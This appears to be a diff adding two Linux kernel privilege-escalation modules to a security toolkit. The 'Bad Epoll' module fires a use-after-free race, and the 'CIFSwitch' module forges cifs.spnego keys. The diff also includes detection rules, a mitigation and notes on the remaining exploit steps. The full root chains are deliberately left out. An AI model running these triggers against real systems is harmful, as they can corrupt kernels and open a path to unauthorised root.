* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
* freed slab, do NOT run the depth-3 nesting oracle that only fires
* after a real UAF write, and do NOT weaponise. The honest witness is
* therefore coarse: a signal in the isolated child (a KASAN oops or
* corruption fault, if the race happened to fire) and an eventpoll-slab
* delta. Absence of a witness does NOT prove the host is safe.
* ------------------------------------------------------------------ */
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
static void bep_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
}
struct bep_racer {
int waiter_fd; /* fd the racer closes */
atomic_int *go; /* fire signal from main */
atomic_int *closed; /* set once the racer has closed */
};
static void *bep_racer_fn(void *arg)
{
struct bep_racer *r = (struct bep_racer *)arg;
bep_pin_cpu(0);
/* Spin until main is at the close point, then race. */
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
;
close(r->waiter_fd);
atomic_store_explicit(r->closed, 1, memory_order_release);
return NULL;
}
static long bep_slabinfo_active(const char *slab)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
size_t n = strlen(slab);
while (fgets(line, sizeof line, f)) {
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
long a;
if (sscanf(line + n, " %ld", &a) == 1) active = a;
break;
}
}
fclose(f);
return active;
}
/* One race attempt: build (target, waiter) with waiter watching target,
* then close both concurrently. Returns 0 normally; the interesting
* outcome (a won race) manifests as a signal that the parent observes,
* not a return value. */
static void bep_one_attempt(void)
{
int target = epoll_create1(EPOLL_CLOEXEC);
if (target < 0) return;
int waiter = epoll_create1(EPOLL_CLOEXEC);
if (waiter < 0) { close(target); return; }
/* waiter watches target — this is the link that makes closing target
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
struct epoll_event ev = { .events = EPOLLIN };
ev.data.fd = target;
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
close(waiter); close(target); return;
}
atomic_int go = 0, closed = 0;
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
pthread_t th;
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
close(waiter); close(target); return;
}
/* Widen the window: false-sharing storm on target's f_count line,
* then release the racer and close target ourselves so ep_remove
* (our fput of the watched file) overlaps __fput of the waiter. */
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
int d = dup(target);
if (d >= 0) close(d);
}
atomic_store_explicit(&go, 1, memory_order_release);
close(target);
pthread_join(th, NULL);
}
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = bad_epoll_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] bad_epoll: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
"the epoll race pair and exercises the ep_remove vs __fput "
"close window (%d bounded attempts, %ds cap), then stops. "
"The cross-cache → struct file control → fdinfo arb-read → "
"ROP root-pop is NOT bundled.\n",
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
/* Fork-isolated: a won race frees a live struct eventpoll. On a
* KASAN kernel that oopses (contained to the child); on a plain
* vulnerable kernel it may corrupt which is exactly why we bound
* the attempt count hard and never reclaim. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
bep_pin_cpu(1);
long before = bep_slabinfo_active("eventpoll");
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
int done = 0;
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
bep_one_attempt();
done = i + 1;
}
long after = bep_slabinfo_active("eventpoll");
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
"eventpoll/kmalloc-192 active: %ld → %ld\n",
done, before, after);
_exit(100); /* honest: window exercised, race not driven to a win */
}
int status;
waitpid(child, &status, 0);
if (WIFSIGNALED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
"teardown race may have fired (KASAN oops / corruption "
"fault). This is the bug, but no root was obtained.\n",
WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
if (!ctx->json) {
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
"primitive). Full chain is NOT bundled and the trigger "
"is not VM-verified — honest EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
"/proc/self/fdinfo arbitrary read + ROP for "
"CVE-2026-46242.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
"UAF) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules -----
*
* Honesty note (see MODULE.md): epoll is one of the most heavily used
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
* unprivileged process is the steady-state behaviour of nginx, systemd,
* every language runtime's event loop, etc. There is NO clean behavioural
* signature for this exploit, and it rarely trips KASAN. These rules are
* therefore intentionally weak/structural the reliable signal is the
* post-exploitation privilege transition, not the epoll traffic. Tune
* hard or you will drown in false positives.
*/
static const char bad_epoll_auditd[] =
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
"# unprivileged process transitioning to euid 0 without going through a\n"
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
static const char bad_epoll_sigma[] =
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
"status: experimental\n"
"description: |\n"
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
" execve in its ancestry. Expect false positives from legitimate\n"
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
" unpriv: {auid|expression: '>= 1000'}\n"
" condition: uid0 and unpriv\n"
"level: medium\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
static const char bad_epoll_falco[] =
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
" desc: |\n"
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
" fires on the post-exploitation effect: a non-root process becoming\n"
" root outside a setuid binary. False positives: privilege-management\n"
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
" condition: >\n"
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
" not proc.is_setuid = true and user.uid != 0\n"
" output: >\n"
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
" priority: WARNING\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
const struct skeletonkey_module bad_epoll_module = {
.name = "bad_epoll",
.cve = "CVE-2026-46242",
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
.family = "eventpoll",
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
.detect = bad_epoll_detect,
.exploit = bad_epoll_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
.detect_auditd = bad_epoll_auditd,
.detect_sigma = bad_epoll_sigma,
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
.detect_falco = bad_epoll_falco,
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
.arch_support = "x86_64",
};
void skeletonkey_register_bad_epoll(void)
{
skeletonkey_register(&bad_epoll_module);
}
@@ -0,0 +1,12 @@
/*
* bad_epoll_cve_2026_46242 SKELETONKEY module registry hook
*/
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
#define BAD_EPOLL_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module bad_epoll_module;
#endif
@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
{5, 4, 179}, {5, 4, 179},
{5, 10, 100}, {5, 10, 100},
{5, 15, 23}, {5, 15, 23},
{5, 16, 9}, {5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
{5, 17, 0}, /* mainline */ {5, 17, 0}, /* mainline */
}; };
@@ -0,0 +1,60 @@
# cifswitch — CVE-2026-46243 ("CIFSwitch")
The kernel's `cifs.spnego` request-key type trusts userspace-forged
authority fields, letting the root `cifs.upcall` helper be coerced into
loading an attacker NSS module as root.
## The bug
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
perform a SPNEGO/Kerberos exchange. The key *description* carries
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target`
that `cifs.upcall` reads as trusted, kernel-originating inputs.
The flaw: the kernel never verified the request actually came from the
in-kernel CIFS client. Userspace can create keys of this type directly
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
forging a description and manipulating user + mount namespaces, an
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
load a malicious NSS shared library as root → root code execution.
## Affected range
| | |
|---|---|
| Flaw age | ~19 years (predates key-type origin checks) |
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
| NVD class | CWE-20 (Improper Input Validation) |
| CISA KEV | no (as of disclosure) |
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
the version-only verdict; confirm empirically.
## Trigger / detection
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
both the version and the userspace path line up. The precondition probe
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
or `0` (force absent).
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
immediately. A clean accept is the witness that userspace can forge the
authority-bearing key type. The full root-pop (namespace switch +
malicious NSS load) is **not** bundled until VM-verified — honest
`EXPLOIT_FAIL` without a euid-0 witness.
## Fix / mitigation
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
until unmount + `rmmod cifs` or reboot.
## Credit
Asim Manizada (2026-05-28). See `NOTICE.md`.
@@ -0,0 +1,92 @@
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
## Vulnerability
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
verifying that the request originated from the in-kernel CIFS client. The
key description carries authority-bearing fields — `pid`, `uid`,
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
helper treats as trusted, kernel-originating inputs. An unprivileged
local user forges such a description and, combined with user + mount
namespace manipulation, coerces `cifs.upcall` into loading an
attacker-controlled NSS shared library as root → local privilege
escalation to root.
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
key-type origin checks added to the keyrings subsystem later. NVD class:
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
installed (so `cifs.upcall` is present), and the `cifs.spnego`
request-key rule active. Default-vulnerable distributions reported
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 610.
## Research credit
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
with a working proof-of-concept published the same day.
- Red Hat advisory (RHSB-2026-005):
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
- BleepingComputer write-up:
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
("smb: client: reject userspace cifs.spnego descriptions"), merged
7.1-rc5.
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
All research credit for finding and analysing this bug belongs to Asim
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
`detect()` gates on the kernel version (the Debian backport thresholds
above) **and** the presence of the vulnerable userspace path
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
`exploit()` fires only the reachable, **non-destructive** part of the
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
as the unprivileged user via `add_key(2)` — which instantiates the key
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
spawns no privileged helper — and revokes the key immediately. A clean
accept is the empirical witness that the missing-origin-validation flaw
is present. It then **stops**: the namespace-switch + malicious-NSS-load
chain that actually lands a root shell is target/config-specific and is
**not** bundled until it can be verified end-to-end against a real
vulnerable VM, in keeping with the project's no-fabrication rule.
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
(blocklists the `cifs` module — the vendor-recommended runtime
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
namespace logic, no shellcode.
## Verification status (partial)
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
(QEMU/HVF, x86_64):
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
reach the primitive.
- An **independent** `python3` `ctypes` probe calling
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
**ACCEPTED** (a plain `user`-key control was also accepted), and the
module's own `exploit()` independently reported **primitive CONFIRMED**
then the honest `EXPLOIT_FAIL`.
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
**Still pending** (so this stays 🟡 and is *not* counted as a verified
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
fixed-from-vulnerable rather than the key type always permitting userspace
creation; and (b) the full namespace + malicious-NSS root-pop, which
remains unbundled.
@@ -0,0 +1,419 @@
/*
* cifswitch_cve_2026_46243 SKELETONKEY module
*
* CVE-2026-46243 "CIFSwitch" the kernel's `cifs.spnego` request-key
* type accepts key descriptions created by *userspace* (via add_key(2) /
* request_key(2)) without verifying the request originated from the
* in-kernel CIFS client. Those descriptions carry authority-bearing
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
* An unprivileged user forges a description and combined with user +
* mount namespace manipulation coerces `cifs.upcall` into loading an
* attacker-controlled NSS shared library as root local root.
*
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
*
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
* Structural logic flaw no offsets, no race, no shellcode. detect()
* gates on (a) the kernel version (Debian-tracked backports below) and
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
* cifs-utils is not reachable via this technique, so that case is
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
* non-destructive part of the primitive it attempts to register a
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
* the kernel accepts a userspace-originated description then STOPS.
* The namespace-switch + malicious-NSS-load that turns that into a
* root shell is target/config-specific and is not bundled until it can
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
* witness; never fabricates root.
*
* Affected range (Debian-tracked stable backports of the fix):
* 5.10.x : K >= 5.10.257 (bullseye)
* 6.1.x : K >= 6.1.174 (bookworm)
* 6.12.x : K >= 6.12.90 (trixie)
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
* through to the version-only verdict confirm empirically.
*
* Preconditions: cifs kernel module available + cifs-utils installed
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
* posture better than a local file probe can (also drives unit tests).
*
* arch_support: any. Keyring + namespace logic; no shellcode.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
* back only when the toolchain headers don't already define them. */
#ifndef SYS_add_key
#define SYS_add_key 248
#endif
#ifndef SYS_keyctl
#define SYS_keyctl 250
#endif
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
#ifndef KEYCTL_REVOKE
#define KEYCTL_REVOKE 3
#endif
#ifndef KEY_SPEC_PROCESS_KEYRING
#define KEY_SPEC_PROCESS_KEYRING (-2)
#endif
typedef int sk_key_serial_t;
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
const void *payload, size_t plen,
sk_key_serial_t keyring)
{
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
payload, plen, keyring);
}
static long sk_keyctl_revoke(sk_key_serial_t key)
{
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
}
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
* mainline 7.1-rc5). These are the authoritative thresholds
* (security-tracker.debian.org). Branches Debian doesn't ship fall
* through to the version-only verdict in detect(). */
static const struct kernel_patched_from cifswitch_patched_branches[] = {
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
};
static const struct kernel_range cifswitch_range = {
.patched_from = cifswitch_patched_branches,
.n_patched_from = sizeof(cifswitch_patched_branches) /
sizeof(cifswitch_patched_branches[0]),
};
/* Is the vulnerable userspace path present? The load-bearing signal is
* the cifs.upcall helper (the privileged component the bug abuses); the
* cifs.spnego request-key rule and a loaded/loadable cifs module
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
* "1" = present, "0" = absent (operators who know their fleet's CIFS
* posture, and the unit tests, use this). */
static bool cifs_userspace_present(void)
{
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
if (force && (force[0] == '1' || force[0] == '0'))
return force[0] == '1';
struct stat st;
static const char *upcall_paths[] = {
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
};
for (size_t i = 0; upcall_paths[i]; i++)
if (stat(upcall_paths[i], &st) == 0)
return true;
/* request-key rule for cifs.spnego (cifs-utils ships this). */
static const char *reqkey_paths[] = {
"/etc/request-key.d/cifs.spnego.conf",
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
};
for (size_t i = 0; reqkey_paths[i]; i++)
if (stat(reqkey_paths[i], &st) == 0)
return true;
return false;
}
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* A patched kernel is not vulnerable regardless of the userspace
* path decide that first so the verdict is deterministic. */
if (kernel_range_is_patched(&cifswitch_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
"(version-only check)\n", v->release);
return SKELETONKEY_OK;
}
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
* path; without it the technique is unreachable here. */
if (!cifs_userspace_present()) {
if (!ctx->json) {
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
"range but cifs.upcall / cifs.spnego request-key "
"rule not found — cifs-utils not installed, bug "
"not reachable here\n", v->release);
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
"present — CVE-2026-46243 reachable\n", v->release);
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
"descriptions (pid/uid/creduid/upcall_target) the root "
"cifs.upcall helper trusts\n");
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
"`--exploit cifswitch --i-know`\n");
}
return SKELETONKEY_VULNERABLE;
}
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_result_t pre = cifswitch_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
"refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
return SKELETONKEY_OK;
}
/* Reachable, non-destructive primitive witness: can we, as an
* unprivileged user, register a cifs.spnego key carrying the
* authority-bearing fields? add_key(2) instantiates the key directly
* it does NOT invoke cifs.upcall (that is request_key's upcall
* path), so this loads nothing and triggers no privileged helper. On
* a VULNERABLE kernel the type accepts the userspace-originated
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
* we create immediately. A clean accept is the empirical signal that
* the missing-origin-validation flaw is present; any error is treated
* as inconclusive (could be patched, or add_key unsupported for the
* type) and reported honestly we never infer root from it. */
const char *desc =
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
errno = 0;
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
KEY_SPEC_PROCESS_KEYRING);
if (k > 0) {
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
fprintf(stderr,
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
"userspace-forged cifs.spnego key (serial %d) carrying "
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
fprintf(stderr,
"[i] cifswitch: the full root-pop (user+mount namespace switch "
"coercing cifs.upcall to load an attacker NSS module as root) is "
"target/config-specific and NOT bundled until VM-verified. Not "
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (errno == ENOSYS) {
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
"unavailable in this kernel build\n");
return SKELETONKEY_PRECOND_FAIL;
}
fprintf(stderr,
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
"not permit direct add_key here. detect() reported the version+helper "
"as vulnerable; verify against a known-vulnerable VM.\n",
strerror(errno));
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
* cifs module so the vulnerable upcall path cannot be reached. We write
* a modprobe.d blocklist (needs root; persists across reboot and blocks
* future autoload). We do not force-unload a possibly-mounted cifs. The
* real fix is the kernel patch. --cleanup removes the blocklist file. */
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
{
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
"(need root: run as root, or "
"`echo 'blacklist cifs' | sudo tee %s`)\n",
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
return SKELETONKEY_PRECOND_FAIL;
}
static const char body[] =
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
"blacklist cifs\n"
"install cifs /bin/false\n";
ssize_t w = write(fd, body, sizeof body - 1);
close(fd);
if (w != (ssize_t)(sizeof body - 1)) {
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
return SKELETONKEY_EXPLOIT_FAIL;
}
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
CIFSWITCH_BLOCKLIST);
(void)ctx;
return SKELETONKEY_OK;
}
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
{
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
if (!ctx->json)
